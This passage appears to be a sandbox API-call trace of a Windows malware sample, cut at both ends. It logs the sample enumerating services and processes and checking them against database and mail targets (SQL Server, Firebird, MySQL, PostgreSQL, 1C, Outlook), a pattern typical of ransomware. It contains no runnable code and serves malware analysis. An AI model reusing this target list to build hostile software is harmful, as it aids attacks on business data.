| out: lpServices=0x0, pcbBytesNeeded=0x21fff44, lpServicesReturned=0x21fff5c, lpResumeHandle=0x0) returned 0 [0146.556] GetLastError () returned 0xea [0146.556] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x113e) returned 0x41d9f00 [0146.557] EnumServicesStatusExW (in: hSCManager=0x3af1cf0, InfoLevel=0x0, dwServiceType=0x30, dwServiceState=0x1, lpServices=0x41d9f00, cbBufSize=0x113e, pcbBytesNeeded=0x21fff44, lpServicesReturned=0x21fff5c, lpResumeHandle=0x0, pszGroupName=0x0 | out: lpServices=0x41d9f00, pcbBytesNeeded=0x21fff44, lpServicesReturned=0x21fff5c, lpResumeHandle=0x0) returned 1 [0146.557] CloseServiceHandle (hSCObject=0x3af1cf0) returned 1 [0146.557] lstrlenW (lpString="Appinfo") returned 7 [0146.558] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Appinfo") returned 1 [0146.558] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Appinfo") returned 1 [0146.558] lstrcmpiW (lpString1="sqlwriter", lpString2="Appinfo") returned 1 [0146.558] lstrcmpiW (lpString1="mssqlserver", lpString2="Appinfo") returned 1 [0146.558] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Appinfo") returned 1 [0146.558] lstrlenW (lpString="AudioEndpointBuilder") returned 20 [0146.558] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="AudioEndpointBuilder") returned 1 [0146.558] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="AudioEndpointBuilder") returned 1 [0146.558] lstrcmpiW (lpString1="sqlwriter", lpString2="AudioEndpointBuilder") returned 1 [0146.558] lstrcmpiW (lpString1="mssqlserver", lpString2="AudioEndpointBuilder") returned 1 [0146.558] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="AudioEndpointBuilder") returned 1 [0146.558] lstrlenW (lpString="AudioSrv") returned 8 [0146.558] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="AudioSrv") returned 1 [0146.558] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="AudioSrv") returned 1 [0146.558] lstrcmpiW (lpString1="sqlwriter", lpString2="AudioSrv") returned 1 [0146.558] lstrcmpiW (lpString1="mssqlserver", lpString2="AudioSrv") returned 1 [0146.558] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="AudioSrv") returned 1 [0146.558] lstrlenW (lpString="BFE") returned 3 [0146.558] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="BFE") returned 1 [0146.558] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="BFE") returned 1 [0146.558] lstrcmpiW (lpString1="sqlwriter", lpString2="BFE") returned 1 [0146.558] lstrcmpiW (lpString1="mssqlserver", lpString2="BFE") returned 1 [0146.558] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="BFE") returned 1 [0146.558] lstrlenW (lpString="CryptSvc") returned 8 [0146.558] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CryptSvc") returned 1 [0146.558] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CryptSvc") returned 1 [0146.558] lstrcmpiW (lpString1="sqlwriter", lpString2="CryptSvc") returned 1 [0146.558] lstrcmpiW (lpString1="mssqlserver", lpString2="CryptSvc") returned 1 [0146.558] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CryptSvc") returned 1 [0146.558] lstrlenW (lpString="CscService") returned 10 [0146.558] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CscService") returned 1 [0146.559] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CscService") returned 1 [0146.559] lstrcmpiW (lpString1="sqlwriter", lpString2="CscService") returned 1 [0146.559] lstrcmpiW (lpString1="mssqlserver", lpString2="CscService") returned 1 [0146.559] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CscService") returned 1 [0146.559] lstrlenW (lpString="DcomLaunch") returned 10 [0146.559] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DcomLaunch") returned 1 [0146.559] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DcomLaunch") returned 1 [0146.559] lstrcmpiW (lpString1="sqlwriter", lpString2="DcomLaunch") returned 1 [0146.559] lstrcmpiW (lpString1="mssqlserver", lpString2="DcomLaunch") returned 1 [0146.559] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DcomLaunch") returned 1 [0146.559] lstrlenW (lpString="Dhcp") returned 4 [0146.559] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Dhcp") returned 1 [0146.559] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Dhcp") returned 1 [0146.559] lstrcmpiW (lpString1="sqlwriter", lpString2="Dhcp") returned 1 [0146.559] lstrcmpiW (lpString1="mssqlserver", lpString2="Dhcp") returned 1 [0146.559] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Dhcp") returned 1 [0146.559] lstrlenW (lpString="Dnscache") returned 8 [0146.559] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Dnscache") returned 1 [0146.559] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Dnscache") returned 1 [0146.559] lstrcmpiW (lpString1="sqlwriter", lpString2="Dnscache") returned 1 [0146.559] lstrcmpiW (lpString1="mssqlserver", lpString2="Dnscache") returned 1 [0146.559] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Dnscache") returned 1 [0146.559] lstrlenW (lpString="DPS") returned 3 [0146.559] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DPS") returned 1 [0146.559] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DPS") returned 1 [0146.559] lstrcmpiW (lpString1="sqlwriter", lpString2="DPS") returned 1 [0146.559] lstrcmpiW (lpString1="mssqlserver", lpString2="DPS") returned 1 [0146.559] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DPS") returned 1 [0146.559] lstrlenW (lpString="eventlog") returned 8 [0146.560] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="eventlog") returned 1 [0146.560] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="eventlog") returned 1 [0146.560] lstrcmpiW (lpString1="sqlwriter", lpString2="eventlog") returned 1 [0146.560] lstrcmpiW (lpString1="mssqlserver", lpString2="eventlog") returned 1 [0146.560] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="eventlog") returned 1 [0146.560] lstrlenW (lpString="EventSystem") returned 11 [0146.560] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="EventSystem") returned 1 [0146.560] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="EventSystem") returned 1 [0146.560] lstrcmpiW (lpString1="sqlwriter", lpString2="EventSystem") returned 1 [0146.560] lstrcmpiW (lpString1="mssqlserver", lpString2="EventSystem") returned 1 [0146.560] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="EventSystem") returned 1 [0146.560] lstrlenW (lpString="gpsvc") returned 5 [0146.560] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="gpsvc") returned -1 [0146.560] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="gpsvc") returned -1 [0146.560] lstrcmpiW (lpString1="sqlwriter", lpString2="gpsvc") returned 1 [0146.560] lstrcmpiW (lpString1="mssqlserver", lpString2="gpsvc") returned 1 [0146.560] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="gpsvc") returned 1 [0146.560] lstrlenW (lpString="iphlpsvc") returned 8 [0146.560] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="iphlpsvc") returned -1 [0146.560] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="iphlpsvc") returned -1 [0146.560] lstrcmpiW (lpString1="sqlwriter", lpString2="iphlpsvc") returned 1 [0146.560] lstrcmpiW (lpString1="mssqlserver", lpString2="iphlpsvc") returned 1 [0146.560] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="iphlpsvc") returned 1 [0146.560] lstrlenW (lpString="LanmanServer") returned 12 [0146.560] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LanmanServer") returned -1 [0146.560] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LanmanServer") returned -1 [0146.560] lstrcmpiW (lpString1="sqlwriter", lpString2="LanmanServer") returned 1 [0146.560] lstrcmpiW (lpString1="mssqlserver", lpString2="LanmanServer") returned 1 [0146.560] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LanmanServer") returned 1 [0146.560] lstrlenW (lpString="LanmanWorkstation") returned 17 [0146.560] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LanmanWorkstation") returned -1 [0146.561] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LanmanWorkstation") returned -1 [0146.561] lstrcmpiW (lpString1="sqlwriter", lpString2="LanmanWorkstation") returned 1 [0146.561] lstrcmpiW (lpString1="mssqlserver", lpString2="LanmanWorkstation") returned 1 [0146.561] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LanmanWorkstation") returned 1 [0146.561] lstrlenW (lpString="lmhosts") returned 7 [0146.561] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="lmhosts") returned -1 [0146.561] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="lmhosts") returned -1 [0146.561] lstrcmpiW (lpString1="sqlwriter", lpString2="lmhosts") returned 1 [0146.561] lstrcmpiW (lpString1="mssqlserver", lpString2="lmhosts") returned 1 [0146.561] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="lmhosts") returned 1 [0146.561] lstrlenW (lpString="MMCSS") returned 5 [0146.561] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="MMCSS") returned -1 [0146.561] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="MMCSS") returned -1 [0146.561] lstrcmpiW (lpString1="sqlwriter", lpString2="MMCSS") returned 1 [0146.561] lstrcmpiW (lpString1="mssqlserver", lpString2="MMCSS") returned 1 [0146.561] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="MMCSS") returned 1 [0146.561] lstrlenW (lpString="MpsSvc") returned 6 [0146.561] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="MpsSvc") returned -1 [0146.561] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="MpsSvc") returned -1 [0146.561] lstrcmpiW (lpString1="sqlwriter", lpString2="MpsSvc") returned 1 [0146.561] lstrcmpiW (lpString1="mssqlserver", lpString2="MpsSvc") returned 1 [0146.561] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="MpsSvc") returned 1 [0146.561] lstrlenW (lpString="Netman") returned 6 [0146.561] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Netman") returned -1 [0146.561] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Netman") returned -1 [0146.562] lstrcmpiW (lpString1="sqlwriter", lpString2="Netman") returned 1 [0146.562] lstrcmpiW (lpString1="mssqlserver", lpString2="Netman") returned -1 [0146.562] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Netman") returned 1 [0146.562] lstrlenW (lpString="netprofm") returned 8 [0146.562] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="netprofm") returned -1 [0146.562] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="netprofm") returned -1 [0146.562] lstrcmpiW (lpString1="sqlwriter", lpString2="netprofm") returned 1 [0146.562] lstrcmpiW (lpString1="mssqlserver", lpString2="netprofm") returned -1 [0146.562] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="netprofm") returned 1 [0146.562] lstrlenW (lpString="NlaSvc") returned 6 [0146.562] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="NlaSvc") returned -1 [0146.562] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="NlaSvc") returned -1 [0146.562] lstrcmpiW (lpString1="sqlwriter", lpString2="NlaSvc") returned 1 [0146.562] lstrcmpiW (lpString1="mssqlserver", lpString2="NlaSvc") returned -1 [0146.562] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="NlaSvc") returned 1 [0146.562] lstrlenW (lpString="nsi") returned 3 [0146.562] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="nsi") returned -1 [0146.562] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="nsi") returned -1 [0146.562] lstrcmpiW (lpString1="sqlwriter", lpString2="nsi") returned 1 [0146.562] lstrcmpiW (lpString1="mssqlserver", lpString2="nsi") returned -1 [0146.562] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="nsi") returned 1 [0146.562] lstrlenW (lpString="PcaSvc") returned 6 [0146.562] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="PcaSvc") returned -1 [0146.562] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="PcaSvc") returned -1 [0146.562] lstrcmpiW (lpString1="sqlwriter", lpString2="PcaSvc") returned 1 [0146.562] lstrcmpiW (lpString1="mssqlserver", lpString2="PcaSvc") returned -1 [0146.562] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="PcaSvc") returned 1 [0146.562] lstrlenW (lpString="PlugPlay") returned 8 [0146.562] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="PlugPlay") returned -1 [0146.562] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="PlugPlay") returned -1 [0146.562] lstrcmpiW (lpString1="sqlwriter", lpString2="PlugPlay") returned 1 [0146.563] lstrcmpiW (lpString1="mssqlserver", lpString2="PlugPlay") returned -1 [0146.563] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="PlugPlay") returned 1 [0146.563] lstrlenW (lpString="Power") returned 5 [0146.563] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Power") returned -1 [0146.563] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Power") returned -1 [0146.563] lstrcmpiW (lpString1="sqlwriter", lpString2="Power") returned 1 [0146.563] lstrcmpiW (lpString1="mssqlserver", lpString2="Power") returned -1 [0146.563] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Power") returned 1 [0146.563] lstrlenW (lpString="ProfSvc") returned 7 [0146.563] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ProfSvc") returned -1 [0146.563] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ProfSvc") returned -1 [0146.563] lstrcmpiW (lpString1="sqlwriter", lpString2="ProfSvc") returned 1 [0146.563] lstrcmpiW (lpString1="mssqlserver", lpString2="ProfSvc") returned -1 [0146.563] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ProfSvc") returned 1 [0146.563] lstrlenW (lpString="RpcEptMapper") returned 12 [0146.563] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="RpcEptMapper") returned -1 [0146.563] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="RpcEptMapper") returned -1 [0146.563] lstrcmpiW (lpString1="sqlwriter", lpString2="RpcEptMapper") returned 1 [0146.563] lstrcmpiW (lpString1="mssqlserver", lpString2="RpcEptMapper") returned -1 [0146.563] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="RpcEptMapper") returned 1 [0146.563] lstrlenW (lpString="RpcSs") returned 5 [0146.563] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="RpcSs") returned -1 [0146.563] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="RpcSs") returned -1 [0146.563] lstrcmpiW (lpString1="sqlwriter", lpString2="RpcSs") returned 1 [0146.563] lstrcmpiW (lpString1="mssqlserver", lpString2="RpcSs") returned -1 [0146.563] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="RpcSs") returned 1 [0146.563] lstrlenW (lpString="SamSs") returned 5 [0146.563] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SamSs") returned -1 [0146.563] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SamSs") returned -1 [0146.563] lstrcmpiW (lpString1="sqlwriter", lpString2="SamSs") returned 1 [0146.563] lstrcmpiW (lpString1="mssqlserver", lpString2="SamSs") returned -1 [0146.564] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SamSs") returned 1 [0146.564] lstrlenW (lpString="Schedule") returned 8 [0146.564] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Schedule") returned -1 [0146.564] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Schedule") returned -1 [0146.564] lstrcmpiW (lpString1="sqlwriter", lpString2="Schedule") returned 1 [0146.564] lstrcmpiW (lpString1="mssqlserver", lpString2="Schedule") returned -1 [0146.564] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Schedule") returned 1 [0146.564] lstrlenW (lpString="SENS") returned 4 [0146.564] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SENS") returned -1 [0146.564] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SENS") returned -1 [0146.564] lstrcmpiW (lpString1="sqlwriter", lpString2="SENS") returned 1 [0146.564] lstrcmpiW (lpString1="mssqlserver", lpString2="SENS") returned -1 [0146.564] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SENS") returned 1 [0146.564] lstrlenW (lpString="ShellHWDetection") returned 16 [0146.564] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ShellHWDetection") returned -1 [0146.564] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ShellHWDetection") returned -1 [0146.564] lstrcmpiW (lpString1="sqlwriter", lpString2="ShellHWDetection") returned 1 [0146.564] lstrcmpiW (lpString1="mssqlserver", lpString2="ShellHWDetection") returned -1 [0146.564] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ShellHWDetection") returned 1 [0146.564] lstrlenW (lpString="Spooler") returned 7 [0146.564] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Spooler") returned -1 [0146.564] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Spooler") returned -1 [0146.564] lstrcmpiW (lpString1="sqlwriter", lpString2="Spooler") returned 1 [0146.564] lstrcmpiW (lpString1="mssqlserver", lpString2="Spooler") returned -1 [0146.564] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Spooler") returned 1 [0146.564] lstrlenW (lpString="SysMain") returned 7 [0146.564] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SysMain") returned -1 [0146.564] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SysMain") returned -1 [0146.564] lstrcmpiW (lpString1="sqlwriter", lpString2="SysMain") returned -1 [0146.564] lstrcmpiW (lpString1="mssqlserver", lpString2="SysMain") returned -1 [0146.565] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SysMain") returned -1 [0146.565] lstrlenW (lpString="Themes") returned 6 [0146.565] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Themes") returned -1 [0146.565] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Themes") returned -1 [0146.565] lstrcmpiW (lpString1="sqlwriter", lpString2="Themes") returned -1 [0146.565] lstrcmpiW (lpString1="mssqlserver", lpString2="Themes") returned -1 [0146.565] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Themes") returned -1 [0146.565] lstrlenW (lpString="TrkWks") returned 6 [0146.565] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="TrkWks") returned -1 [0146.565] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="TrkWks") returned -1 [0146.565] lstrcmpiW (lpString1="sqlwriter", lpString2="TrkWks") returned -1 [0146.565] lstrcmpiW (lpString1="mssqlserver", lpString2="TrkWks") returned -1 [0146.565] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="TrkWks") returned -1 [0146.565] lstrlenW (lpString="UxSms") returned 5 [0146.565] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="UxSms") returned -1 [0146.565] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="UxSms") returned -1 [0146.565] lstrcmpiW (lpString1="sqlwriter", lpString2="UxSms") returned -1 [0146.565] lstrcmpiW (lpString1="mssqlserver", lpString2="UxSms") returned -1 [0146.565] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="UxSms") returned -1 [0146.565] lstrlenW (lpString="WdiServiceHost") returned 14 [0146.565] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="WdiServiceHost") returned -1 [0146.565] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="WdiServiceHost") returned -1 [0146.565] lstrcmpiW (lpString1="sqlwriter", lpString2="WdiServiceHost") returned -1 [0146.565] lstrcmpiW (lpString1="mssqlserver", lpString2="WdiServiceHost") returned -1 [0146.565] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="WdiServiceHost") returned -1 [0146.565] lstrlenW (lpString="WdiSystemHost") returned 13 [0146.565] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="WdiSystemHost") returned -1 [0146.565] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="WdiSystemHost") returned -1 [0146.565] lstrcmpiW (lpString1="sqlwriter", lpString2="WdiSystemHost") returned -1 [0146.565] lstrcmpiW (lpString1="mssqlserver", lpString2="WdiSystemHost") returned -1 [0146.565] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="WdiSystemHost") returned -1 [0146.566] lstrlenW (lpString="Winmgmt") returned 7 [0146.566] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Winmgmt") returned -1 [0146.566] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Winmgmt") returned -1 [0146.566] lstrcmpiW (lpString1="sqlwriter", lpString2="Winmgmt") returned -1 [0146.566] lstrcmpiW (lpString1="mssqlserver", lpString2="Winmgmt") returned -1 [0146.566] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Winmgmt") returned -1 [0146.566] lstrlenW (lpString="WPDBusEnum") returned 10 [0146.566] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="WPDBusEnum") returned -1 [0146.566] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="WPDBusEnum") returned -1 [0146.566] lstrcmpiW (lpString1="sqlwriter", lpString2="WPDBusEnum") returned -1 [0146.566] lstrcmpiW (lpString1="mssqlserver", lpString2="WPDBusEnum") returned -1 [0146.566] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="WPDBusEnum") returned -1 [0146.566] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x41d9f00 | out: hHeap=0x300000) returned 1 [0146.566] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x358 [0146.568] Process32FirstW (in: hSnapshot=0x358, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0146.568] Process32NextW (in: hSnapshot=0x358, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x51, th32ParentProcessID=0x0, pcPriClassBase=8, dwFlags=0x0, szExeFile="System")) returned 1 [0146.568] lstrlenW (lpString="System") returned 6 [0146.568] lstrcmpiW (lpString1="1c8.exe", lpString2="System") returned -1 [0146.568] lstrcmpiW (lpString1="1cv77.exe", lpString2="System") returned -1 [0146.568] lstrcmpiW (lpString1="outlook.exe", lpString2="System") returned -1 [0146.568] lstrcmpiW (lpString1="postgres.exe", lpString2="System") returned -1 [0146.568] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="System") returned -1 [0146.569] lstrcmpiW (lpString1="mysqld.exe", lpString2="System") returned -1 [0146.569] lstrcmpiW (lpString1="sqlservr.exe", lpString2="System") returned -1 [0146.569] Process32NextW (in: hSnapshot=0x358, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x104, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x4, pcPriClassBase=11, dwFlags=0x0, szExeFile="smss.exe")) returned 1 [0146.569] lstrlenW (lpString="smss.exe") returned 8 [0146.569] lstrcmpiW (lpString1="1c8.exe", lpString2="smss.exe") returned -1 [0146.569] lstrcmpiW (lpString1="1cv77.exe", lpString2="smss.exe") returned -1 [0146.569] lstrcmpiW (lpString1="outlook.exe", lpString2="smss.exe") returned -1 [0146.569] lstrcmpiW (lpString1="postgres.exe", lpString2="smss.exe") returned -1 [0146.569] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="smss.exe") returned -1 [0146.569] lstrcmpiW (lpString1="mysqld.exe", lpString2="smss.exe") returned -1 [0146.569] lstrcmpiW (lpString1="sqlservr.exe", lpString2="smss.exe") returned 1 [0146.569] Process32NextW (in: hSnapshot=0x358, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x148, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x140, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0146.569] lstrlenW (lpString="csrss.exe") returned 9 [0146.569] lstrcmpiW (lpString1="1c8.exe", lpString2="csrss.exe") returned -1 [0146.570] lstrcmpiW (lpString1="1cv77.exe", lpString2="csrss.exe") returned -1 [0146.570] lstrcmpiW (lpString1="outlook.exe", lpString2="csrss.exe") returned 1 [0146.570] lstrcmpiW (lpString1="postgres.exe", lpString2="csrss.exe") returned 1 [0146.570] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="csrss.exe") returned 1 [0146.570] lstrcmpiW (lpString1="mysqld.exe", lpString2="csrss.exe") returned 1 [0146.570] lstrcmpiW (lpString1="sqlservr.exe", lpString2="csrss.exe") returned 1 [0146.570] Process32NextW (in: hSnapshot=0x358, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x178, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x140, pcPriClassBase=13, dwFlags=0x0, szExeFile="wininit.exe")) returned 1 [0146.570] lstrlenW (lpString="wininit.exe") returned 11 [0146.570] lstrcmpiW (lpString1="1c8.exe", lpString2="wininit.exe") returned -1 [0146.570] lstrcmpiW (lpString1="1cv77.exe", lpString2="wininit.exe") returned -1 [0146.570] lstrcmpiW (lpString1="outlook.exe", lpString2="wininit.exe") returned -1 [0146.570] lstrcmpiW (lpString1="postgres.exe", lpString2="wininit.exe") returned -1 [0146.570] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="wininit.exe") returned -1 [0146.570] lstrcmpiW (lpString1="mysqld.exe", lpString2="wininit.exe") returned -1 [0146.570] lstrcmpiW (lpString1="sqlservr.exe", lpString2="wininit.exe") returned -1 [0146.570] Process32NextW (in: hSnapshot=0x358, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x184, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x170, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0146.571] lstrlenW (lpString="csrss.exe") returned 9 [0146.571] lstrcmpiW (lpString1="1c8.exe", lpString2="csrss.exe") returned -1 [0146.571] lstrcmpiW (lpString1="1cv77.exe", lpString2="csrss.exe") returned -1 [0146.571] lstrcmpiW (lpString1="outlook.exe", lpString2="csrss.exe") returned 1 [0146.571] lstrcmpiW (lpString1="postgres.exe", lpString2="csrss.exe") returned 1 [0146.571] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="csrss.exe") returned 1 [0146.571] lstrcmpiW (lpString1="mysqld.exe", lpString2="csrss.exe") returned 1 [0146.571] lstrcmpiW (lpString1="sqlservr.exe", lpString2="csrss.exe") returned 1 [0146.571] Process32NextW (in: hSnapshot=0x358, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1ac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x170, pcPriClassBase=13, dwFlags=0x0, szExeFile="winlogon.exe")) returned 1 [0146.571] lstrlenW (lpString="winlogon.exe") returned 12 [0146.571] lstrcmpiW (lpString1="1c8.exe", lpString2="winlogon.exe") returned -1 [0146.573] lstrcmpiW (lpString1="1cv77.exe", lpString2="winlogon.exe") returned -1 [0146.573] lstrcmpiW (lpString1="outlook.exe", lpString2="winlogon.exe") returned -1 [0146.573] lstrcmpiW (lpString1="postgres.exe", lpString2="winlogon.exe") returned -1 [0146.573] Process32NextW (in: hSnapshot=0x358, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1c8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x11, th32ParentProcessID=0x178, pcPriClassBase=9, dwFlags=0x0, szExeFile="services.exe")) returned 1 [0146.574] lstrlenW 